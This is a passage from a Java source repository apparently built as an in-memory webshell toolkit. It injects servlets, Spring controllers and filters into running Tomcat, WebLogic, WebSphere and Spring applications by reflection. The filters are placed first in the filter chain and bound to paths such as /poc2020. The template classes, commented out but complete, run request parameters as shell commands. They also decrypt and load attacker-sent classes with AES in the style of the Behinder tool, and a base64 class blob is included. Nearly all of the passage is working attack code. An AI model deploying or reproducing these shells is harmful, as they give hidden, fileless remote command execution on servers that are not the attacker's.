30 | Object obj = field.get(mbeanServer);
31 |
32 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
33 | field.setAccessible(true);
34 | Repository repository = (Repository) field.get(obj);
35 |
36 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
37 | for(NamedObject namedObject : objectSet){
38 | try{
39 | DynamicMBean dynamicMBean = namedObject.getObject();
40 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
41 | field.setAccessible(true);
42 | obj = field.get(dynamicMBean);
43 |
44 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
45 | field.setAccessible(true);
46 | StandardContext standardContext = (StandardContext)field.get(obj);
47 |
48 | if(standardContext.findChild(servrletName) == null){
49 | System.out.println("[+] Add Dynamic Servlet");
50 |
51 | Wrapper wrapper = standardContext.createWrapper();
52 | wrapper.setName(servrletName);
53 | standardContext.addChild(wrapper);
54 |
55 | Class clazz = Util.getDynamicServletTemplateClass();
56 | wrapper.setServletClass(clazz.getName());
57 | wrapper.setServlet((Servlet) clazz.newInstance());
58 | ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
59 | registration.addMapping(urlPattern);
60 | }
61 | }catch(Exception e){
62 | //pass
63 | }
64 | }
65 | }catch(Exception e){
66 | e.printStackTrace();
67 | }
68 | }
69 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/spring/ControllerBased.java:
--------------------------------------------------------------------------------
1 | package com.memshell.spring;
2 |
3 | import com.memshell.generic.Util;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.context.ContextLoader;
7 | import org.springframework.web.context.request.RequestContextHolder;
8 | import org.springframework.web.context.support.XmlWebApplicationContext;
9 | import java.lang.reflect.Method;
10 | import java.util.Set;
11 |
12 | @Controller
13 | public class ControllerBased{
14 |
15 | @RequestMapping("/hello")
16 | public String say() {
17 | System.out.println("[+] Hello, Spring");
18 |
19 | Class clazz = Util.getDynamicControllerTemplateClass();
20 |
21 | XmlWebApplicationContext context = null;
22 | try{
23 | context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
24 | }catch(Exception e){
25 | context = (XmlWebApplicationContext)ContextLoader.getCurrentWebApplicationContext();
26 | }
27 |
28 | try{
29 | // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
30 | context.getBeanFactory().registerSingleton("dynamicController", clazz.newInstance());
31 | }catch(Exception e){
32 | System.out.println(e);
33 | //continue
34 | }
35 |
36 |
37 | try{
38 | Object requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
39 | // 防止重复添加,重复添加会导致不可用
40 | Object obj = requestMappingHandlerMapping.getClass().getMethod("getHandlerMethods").invoke(requestMappingHandlerMapping);
41 | Method method = obj.getClass().getMethod("keySet");
42 | method.setAccessible(true);
43 | Set mappingInfos = (Set)method.invoke(obj);
44 | for(Object requestMappingInfo : mappingInfos){
45 | if(requestMappingInfo.toString().contains("/poc2020")){
46 | return "failed";
47 | }
48 | }
49 | method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("detectHandlerMethods", Object.class);
50 | method.setAccessible(true);
51 | method.invoke(requestMappingHandlerMapping, "dynamicController");
52 | return "success";
53 | }catch(Exception e){
54 | System.out.println(e);
55 | //continue;
56 | }
57 |
58 | try{
59 | // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
60 | Object dh = context.getBean(Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"));
61 | // 3. 反射获得 registerHandler Method
62 | Method method = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping").getDeclaredMethod("registerHandler", String.class, Object.class);
63 | method.setAccessible(true);
64 | // 4. 将 dynamicController 和 URL 注册到 handlerMap 中
65 | method.invoke(dh, "/poc2020", "dynamicController");
66 | return "success";
67 | }catch(Exception e){
68 | System.out.println(e);
69 | //continue
70 | }
71 |
72 | return "failed";
73 | }
74 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/weblogic/FilterBasedBasic.java:
--------------------------------------------------------------------------------
1 | package com.memshell.weblogic;
2 |
3 | import com.memshell.generic.Util;
4 | import weblogic.servlet.internal.FilterManager;
5 | import weblogic.servlet.internal.WebAppServletContext;
6 | import weblogic.servlet.utils.ServletMapping;
7 | import weblogic.utils.collections.MatchMap;
8 | import javax.servlet.http.HttpServlet;
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.lang.reflect.Field;
12 | import java.lang.reflect.Method;
13 | import java.util.ArrayList;
14 | import java.util.Map;
15 |
16 | public class FilterBasedBasic extends HttpServlet {
17 | @Override
18 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
19 |
20 | //为了兼容低版本的 weblgoic,所以有些逻辑(如排序)没法利用现成的 api,因为老版本不持
21 | try {
22 | String filterName = "dynamicFilter1";
23 | String urlPattern = "/aaa";
24 |
25 | Field contextField = req.getClass().getDeclaredField("context");
26 | contextField.setAccessible(true);
27 | WebAppServletContext servletContext = (WebAppServletContext) contextField.get(req);
28 | FilterManager filterManager = servletContext.getFilterManager();
29 |
30 | // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载
31 | if (!filterManager.isFilterRegistered(filterName)) {
32 | System.out.println("[+] Add Dynamic Filter");
33 |
34 | Class clazz = Util.getDynamicFilterTemplateClass();
35 |
36 | //将 Filter 注册进 FilterManager
37 | //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
38 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
39 | registerFilterMethod.setAccessible(true);
40 | registerFilterMethod.invoke(filterManager, filterName, "com.memshell.generic.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null);
41 |
42 |
43 | //将我们添加的 Filter 移动到 FilterChian 的第一位
44 | Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList");
45 | filterPatternListField.setAccessible(true);
46 | ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager);
47 |
48 |
49 | //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常
50 | for(int i = 0; i < filterPatternList.size(); i++){
51 | Object filterPattern = filterPatternList.get(i);
52 | Field f = filterPattern.getClass().getDeclaredField("map");
53 | f.setAccessible(true);
54 | ServletMapping mapping = (ServletMapping) f.get(filterPattern);
55 |
56 | f = mapping.getClass().getSuperclass().getDeclaredField("matchMap");
57 | f.setAccessible(true);
58 | MatchMap matchMap = (MatchMap)f.get(mapping);
59 |
60 | Object result = matchMap.match(urlPattern);
61 | if(result != null && result.toString().contains(urlPattern)){
62 | Object temp = filterPattern;
63 | filterPatternList.set(i, filterPatternList.get(0));
64 | filterPatternList.set(0, temp);
65 | break;
66 | }
67 | }
68 | }
69 | } catch (Exception e) {
70 | e.printStackTrace();
71 | }
72 | }
73 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/websphere/FilterBasedBasic.java:
--------------------------------------------------------------------------------
1 | package com.memshell.websphere;
2 |
3 | import com.memshell.generic.FilterTemplate;
4 | import javax.servlet.*;
5 | import javax.servlet.http.HttpServlet;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.lang.reflect.Field;
9 | import java.lang.reflect.Method;
10 | import java.util.EnumSet;
11 | import java.util.List;
12 |
13 | public class FilterBasedBasic extends HttpServlet {
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
16 |
17 | try{
18 | String filterName = "myFilter1";
19 | String urlPattern = "/aaa";
20 |
21 | ServletContext servletContext = req.getServletContext();
22 |
23 | Field field = servletContext.getClass().getDeclaredField("context");
24 | field.setAccessible(true);
25 | Object context = field.get(servletContext);
26 |
27 | field = context.getClass().getSuperclass().getDeclaredField("config");
28 | field.setAccessible(true);
29 | Object webAppConfiguration = field.get(context);
30 |
31 | Method method = null;
32 | Method[] methods = webAppConfiguration.getClass().getMethods();
33 | for(int i = 0; i < methods.length; i++){
34 | if(methods[i].getName().equals("getFilterMappings")){
35 | method = methods[i];
36 | break;
37 | }
38 | }
39 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]);
40 |
41 | boolean flag = false;
42 | for(int i = 0; i < filerMappings.size(); i++){
43 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]);
44 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]);
45 | if(name.equals(filterName)){
46 | flag = true;
47 | break;
48 | }
49 | }
50 |
51 | //如果已存在同名的 Filter,就不在添加,防止重复添加
52 | if(!flag){
53 | System.out.println("[+] Add Dynamic Filter");
54 |
55 | Filter filter = new FilterTemplate();
56 |
57 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName});
58 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter});
59 |
60 | method = null;
61 | methods = webAppConfiguration.getClass().getMethods();
62 | for(int i = 0; i < methods.length; i++){
63 | if(methods[i].getName().equals("addFilterInfo")){
64 | method = methods[i];
65 | break;
66 | }
67 | }
68 | method.invoke(webAppConfiguration, new Object[]{filterConfig});
69 |
70 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context");
71 | field.setAccessible(true);
72 | Object original = field.get(filterConfig);
73 |
74 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常
75 | field.set(filterConfig, null);
76 |
77 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class});
78 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}});
79 |
80 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值
81 | field.set(filterConfig, original);
82 |
83 | method = null;
84 | methods = webAppConfiguration.getClass().getMethods();
85 | for(int i = 0; i < methods.length; i++){
86 | if(methods[i].getName().equals("getUriFilterMappings")){
87 | method = methods[i];
88 | break;
89 | }
90 | }
91 |
92 | //这里的目的是为了将我们添加的动态 Filter 放到第一位
93 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]);
94 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1));
95 | }
96 | }catch(Exception e){
97 | e.printStackTrace();
98 | }
99 | }
100 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/DynamicControllerTemplate.java:
--------------------------------------------------------------------------------
1 | //package com.memshell.generic;
2 | //
3 | //import org.springframework.stereotype.Controller;
4 | //import org.springframework.web.bind.annotation.RequestMapping;
5 | //import sun.misc.BASE64Decoder;
6 | //import javax.crypto.Cipher;
7 | //import javax.crypto.spec.SecretKeySpec;
8 | //import javax.servlet.ServletRequest;
9 | //import javax.servlet.ServletResponse;
10 | //import javax.servlet.http.HttpServletRequest;
11 | //import javax.servlet.http.HttpServletResponse;
12 | //import java.io.File;
13 | //import java.io.IOException;
14 | //import java.lang.reflect.InvocationTargetException;
15 | //import java.lang.reflect.Method;
16 | //import java.util.Scanner;
17 | //
18 | //@Controller
19 | //public class DynamicControllerTemplate {
20 | // private Class myClassLoaderClazz;
21 | //
22 | // public DynamicControllerTemplate(){
23 | // initialize();
24 | // }
25 | //
26 | // @RequestMapping(value = "/poc2020")
27 | // public void login(HttpServletRequest request, HttpServletResponse response) throws IOException {
28 | // System.out.println("[+] Dynamic Controller says hello");
29 | //
30 | // if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
31 | // //basic cmd shell
32 | // String cmd = request.getParameter(Config.getPassword());
33 | // if(cmd != null && !cmd.isEmpty()){
34 | // String[] cmds = null;
35 | // if(File.separator.equals("/")){
36 | // cmds = new String[]{"/bin/sh", "-c", cmd};
37 | // }else{
38 | // cmds = new String[]{"cmd", "/C", cmd};
39 | // }
40 | // String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
41 | // response.getWriter().println(result);
42 | // }
43 | // }else if(request.getHeader(Config.getHeader()) != null){
44 | // //behind3 shell
45 | // try{
46 | // if (request.getMethod().equals("POST")){
47 | // String k = Config.getBehinderShellPwdPwd();
48 | // request.getSession().setAttribute("u",k);
49 | // Cipher cipher = Cipher.getInstance("AES");
50 | // cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
51 | // byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
52 | // Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
53 | // Object evilObject = evilClass.newInstance();
54 | // Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
55 | // targetMethod.invoke(evilObject, new Object[]{request, response});
56 | // }
57 | // }catch(Exception e){
58 | // e.printStackTrace();
59 | // }
60 | // }
61 | // }
62 | //
63 | // private void initialize(){
64 | // try{
65 | // ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
66 | // try{
67 | // this.myClassLoaderClazz = classLoader.loadClass("com.memshell.generic.MyClassLoader");
68 | // } catch (ClassNotFoundException e) {
69 | // Class clazz = classLoader.getClass();
70 | // Method method = null;
71 | // while(method == null && clazz != Object.class){
72 | // try{
73 | // method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
74 | // }catch(NoSuchMethodException ex){
75 | // clazz = clazz.getSuperclass();
76 | // }
77 | // }
78 | //
79 | // String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ==";
80 | // byte[] bytes = new BASE64Decoder().decodeBuffer(code);
81 | // method.setAccessible(true);
82 | // this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
83 | // }
84 | // } catch (IllegalAccessException e) {
85 | // e.printStackTrace();
86 | // } catch (IOException e) {
87 | // e.printStackTrace();
88 | // } catch (InvocationTargetException e) {
89 | // e.printStackTrace();
90 | // }
91 | // }
92 | //}
93 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/DynamicServletTemplate.java:
--------------------------------------------------------------------------------
1 | //package com.memshell.generic;
2 | //
3 | //import sun.misc.BASE64Decoder;
4 | //import javax.crypto.Cipher;
5 | //import javax.crypto.spec.SecretKeySpec;
6 | //import javax.servlet.ServletRequest;
7 | //import javax.servlet.ServletResponse;
8 | //import javax.servlet.http.HttpServlet;
9 | //import javax.servlet.http.HttpServletRequest;
10 | //import javax.servlet.http.HttpServletResponse;
11 | //import java.io.File;
12 | //import java.io.IOException;
13 | //import java.lang.reflect.InvocationTargetException;
14 | //import java.lang.reflect.Method;
15 | //import java.util.Scanner;
16 | //
17 | //public class DynamicServletTemplate extends HttpServlet {
18 | //
19 | // private Class myClassLoaderClazz;
20 | //
21 | // public DynamicServletTemplate(){
22 | // super();
23 | // initialize();
24 | // }
25 | //
26 | // @Override
27 | // protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
28 | // System.out.println("[+] Dynamic Servlet says hello");
29 | //
30 | // if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
31 | // //basic cmd shell
32 | // String cmd = request.getParameter(Config.getPassword());
33 | // if(cmd != null && !cmd.isEmpty()){
34 | // String[] cmds = null;
35 | // if(File.separator.equals("/")){
36 | // cmds = new String[]{"/bin/sh", "-c", cmd};
37 | // }else{
38 | // cmds = new String[]{"cmd", "/C", cmd};
39 | // }
40 | // String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
41 | // response.getWriter().println(result);
42 | // }
43 | // }else if(request.getHeader(Config.getHeader()) != null){
44 | // //behind3 shell
45 | // try{
46 | // if (request.getMethod().equals("POST")){
47 | // String k = Config.getBehinderShellPwdPwd();
48 | // request.getSession().setAttribute("u",k);
49 | // Cipher cipher = Cipher.getInstance("AES");
50 | // cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
51 | // byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
52 | // Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
53 | // Object evilObject = evilClass.newInstance();
54 | // Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
55 | // targetMethod.invoke(evilObject, new Object[]{request, response});
56 | // }
57 | // }catch(Exception e){
58 | // e.printStackTrace();
59 | // }
60 | // }
61 | // }
62 | //
63 | // @Override
64 | // protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
65 | // doPost(request, response);
66 | // }
67 | //
68 | // private void initialize(){
69 | // try{
70 | // ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
71 | // try{
72 | // this.myClassLoaderClazz = classLoader.loadClass("com.memshell.generic.MyClassLoader");
73 | // } catch (ClassNotFoundException e) {
74 | // Class clazz = classLoader.getClass();
75 | // Method method = null;
76 | // while(method == null && clazz != Object.class){
77 | // try{
78 | // method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
79 | // }catch(NoSuchMethodException ex){
80 | // clazz = clazz.getSuperclass();
81 | // }
82 | // }
83 | //
84 | // String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ==";
85 | // byte[] bytes = new BASE64Decoder().decodeBuffer(code);
86 | // method.setAccessible(true);
87 | // this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
88 | // }
89 | // } catch (IllegalAccessException e) {
90 | // e.printStackTrace();
91 | // } catch (IOException e) {
92 | // e.printStackTrace();
93 | // } catch (InvocationTargetException e) {
94 | // e.printStackTrace();
95 | // }
96 | // }
97 | //}
98 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/tomcat/FilterBasedBasic.java:
--------------------------------------------------------------------------------
1 | package com.memshell.tomcat;
2 |
3 | import com.memshell.generic.FilterTemplate;
4 | import org.apache.catalina.Context;
5 | import org.apache.catalina.core.ApplicationContext;
6 | import org.apache.catalina.core.ApplicationFilterConfig;
7 | import org.apache.catalina.core.StandardContext;
8 | import javax.servlet.*;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.lang.reflect.Constructor;
13 | import java.lang.reflect.Field;
14 | import java.lang.reflect.Modifier;
15 | import java.util.HashMap;
16 |
17 | public class FilterBasedBasic extends HttpServlet {
18 | @Override
19 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
20 | // 参考:
21 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html
22 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388
23 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41
24 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
25 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535
26 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg
27 | //
28 | // 适用范围: Tomcat 7 ~ 9
29 |
30 | try{
31 | String filterName = "dynamic1";
32 | String urlPattern = "/aaa";
33 |
34 | // 获取 standardContext
35 | final ServletContext servletContext = req.getSession().getServletContext();
36 |
37 | Field field = servletContext.getClass().getDeclaredField("context");
38 | field.setAccessible(true);
39 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
40 |
41 | field = applicationContext.getClass().getDeclaredField("context");
42 | field.setAccessible(true);
43 | Field modifiersField = Field.class.getDeclaredField("modifiers");
44 | modifiersField.setAccessible(true);
45 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
46 | StandardContext standardContext = (StandardContext) field.get(applicationContext);
47 |
48 | field = standardContext.getClass().getDeclaredField("filterConfigs");
49 | field.setAccessible(true);
50 | HashMap map = (HashMap) field.get(standardContext);
51 |
52 | if(map.get(filterName) == null){
53 | System.out.println("[+] Add Dynamic Filter");
54 |
55 | //生成 FilterDef
56 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
57 | Class filterDefClass = null;
58 | try{
59 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
60 | }catch(ClassNotFoundException e){
61 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
62 | }
63 |
64 | Object filterDef = filterDefClass.newInstance();
65 | filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName});
66 | Filter filter = new FilterTemplate();
67 |
68 | filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()});
69 | filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter});
70 | standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef});
71 |
72 | //设置 FilterMap
73 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
74 | Class filterMapClass = null;
75 | try{
76 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
77 | }catch (ClassNotFoundException e){
78 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
79 | }
80 |
81 | Object filterMap = filterMapClass.newInstance();
82 | filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName});
83 | filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()});
84 | filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern});
85 | //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了
86 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap});
87 |
88 | //设置 FilterConfig
89 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass});
90 | constructor.setAccessible(true);
91 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
92 | map.put(filterName, filterConfig);
93 | }
94 | }catch(Exception e){
95 | e.printStackTrace();
96 | }
97 | }
98 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/DynamicFilterTemplate.java:
--------------------------------------------------------------------------------
1 | //package com.memshell.generic;
2 | //
3 | //import sun.misc.BASE64Decoder;
4 | //import javax.crypto.Cipher;
5 | //import javax.crypto.spec.SecretKeySpec;
6 | //import javax.servlet.*;
7 | //import javax.servlet.http.HttpServletRequest;
8 | //import java.io.File;
9 | //import java.io.IOException;
10 | //import java.lang.reflect.InvocationTargetException;
11 | //import java.lang.reflect.Method;
12 | //import java.util.Scanner;
13 | //
14 | //public class DynamicFilterTemplate implements Filter {
15 | //
16 | // private Class myClassLoaderClazz;
17 | //
18 | // public DynamicFilterTemplate(){
19 | // super();
20 | // initialize();
21 | // }
22 | //
23 | // @Override
24 | // public void init(FilterConfig filterConfig) throws ServletException {
25 | //
26 | // }
27 | //
28 | // @Override
29 | // public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
30 | // System.out.println("[+] Dynamic Filter says hello");
31 | //
32 | //
33 | // if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){
34 | // //basic cmd shell
35 | // String cmd = servletRequest.getParameter(Config.getPassword());
36 | // if(cmd != null && !cmd.isEmpty()){
37 | // String[] cmds = null;
38 | // if(File.separator.equals("/")){
39 | // cmds = new String[]{"/bin/sh", "-c", cmd};
40 | // }else{
41 | // cmds = new String[]{"cmd", "/C", cmd};
42 | // }
43 | // String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
44 | // servletResponse.getWriter().println(result);
45 | // }
46 | // }else if(((HttpServletRequest)servletRequest).getHeader(Config.getHeader()) != null){
47 | // //behind3 shell
48 | // try{
49 | // if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){
50 | // String k = Config.getBehinderShellPwdPwd();
51 | // ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k);
52 | // Cipher cipher = Cipher.getInstance("AES");
53 | // cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
54 | // byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
55 | // Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
56 | // Object evilObject = evilClass.newInstance();
57 | // Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
58 | // targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
59 | // }
60 | // }catch(Exception e){
61 | // e.printStackTrace();
62 | // }
63 | // }else{
64 | // filterChain.doFilter(servletRequest, servletResponse);
65 | // }
66 | // }
67 | //
68 | // @Override
69 | // public void destroy() {
70 | //
71 | // }
72 | //
73 | // private void initialize(){
74 | // try{
75 | // ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
76 | // try{
77 | // this.myClassLoaderClazz = classLoader.loadClass("com.memshell.generic.MyClassLoader");
78 | // } catch (ClassNotFoundException e) {
79 | // Class clazz = classLoader.getClass();
80 | // Method method = null;
81 | // while(method == null && clazz != Object.class){
82 | // try{
83 | // method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
84 | // }catch(NoSuchMethodException ex){
85 | // clazz = clazz.getSuperclass();
86 | // }
87 | // }
88 | //
